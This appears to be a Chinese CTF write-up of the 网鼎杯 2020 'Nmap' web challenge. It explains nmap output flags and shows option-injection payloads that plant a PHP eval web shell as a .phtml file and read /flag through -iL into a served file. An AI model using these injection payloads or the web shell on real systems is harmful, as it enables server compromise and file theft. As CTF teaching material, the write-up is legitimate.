NO.2-24 [网鼎杯 2020 朱雀组]Nmap

站老是崩，有点难受。

过程
1.题目非常熟悉，以前在buu写过。主要考察nmap的一些用法。

2.
选项解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
选项-oG
将结果Grep保存。

nmap -F -oG test.txt 192.168.23.1

选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存，分别放在.nmap，.xml和.gnmap文件中。

3.尝试对扫描结果进行指定文件保存，
输入-oN aa.txt，然后访问/aa.txt
出现：# Nmap 6.47 scan initiated Mon May 18 15:58:14 2020 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/05cc1 -oN aa.txt \
4.于是猜测是否可以写一个木马文件上去,测试发现过滤了php字符串
可以上传<?=eval(\$_POST[a]);?> 文件名为phtml
payload：' -oN b.phtml <?=eval(\$_POST[a]);?>'
访问b.phtml

5.当然还有更简单的写法。
127.0.0.1' -iL /flag -oN vege.txt '
然后直接访问即可。

NO.2-24 [网鼎杯 2020 朱雀组]Nmap相关推荐

[网鼎杯 2020 朱雀组]Nmap
nmap -oG -iL 写入文件和读取文件之[网鼎杯 2020 朱雀组]Nmap
知识点: 利用-oG,可以将命令和结果写进文件. 利用-iL 和-oN.其中-iL是从inputfilename文件中读取扫描的目标.在这个文件中要有一个主机或者网络的列表,由空格键.制表键或者回车键 ...
[网鼎杯 2020 朱雀组]phpweb
目录解题过程: 找payload: 1. 对in_array()函数进行绕过 2. php反序列化参考文章: 考点:关于call_user_func()函数的用法,php反序列化(本题不用也能做) ...
[网鼎杯 2020 朱雀组]phpweb-反弹shell
[网鼎杯 2020 朱雀组]phpweb 通过反弹shell获取flag 打开链接,显示一个不断刷新的页面,通过burp抓包查看通过对页面源代码的分析,发现在本页面中,通过post传入index.p ...
[网鼎杯 2020 朱雀组]Think Java
[网鼎杯 2020 朱雀组]Think Java 文章目录 [网鼎杯 2020 朱雀组]Think Java 获取源文件 Swagger JDBC sql注入关于#的使用查看数据库名字获取表名 ...
【网鼎杯 2020 朱雀组】Think Java
[网鼎杯 2020 朱雀组]Think Java 首先下载题目附件,是一些.class文件,反编译查看. 注意到引入的其中一个包: import io.swagger.annotations.ApiO ...
[网鼎杯 2020 朱雀组]之phpweb两种不同的解题方式
目录方法一: 方法二: 知识点: 1)黑名单取巧绕过 2)PHP的file_get_contents函数使用 3)PHP序列化与反序列化构造访问靶机,观察页面,开始时首先加载了一张图片,随后刷新回 ...
[网鼎杯 2020 朱雀组]phpweb 待续
抓包看参数联想到函数读index.php代码 func=file_get_contents&p=index.php <?php $disable_fun = array ...
[网鼎杯 2020 青龙组]jocker
[网鼎杯 2020 青龙组]jocker SMC(self-Modifying Code): 自修改代码,程序在执行某段代码的过程中会对程序的代码进行修改,只有在修改后的代码才是可汇编,可执行的.在程 ...

NO.2-24 [网鼎杯 2020 朱雀组]Nmap

NO.2-24 [网鼎杯 2020 朱雀组]Nmap相关推荐

最新文章

热门文章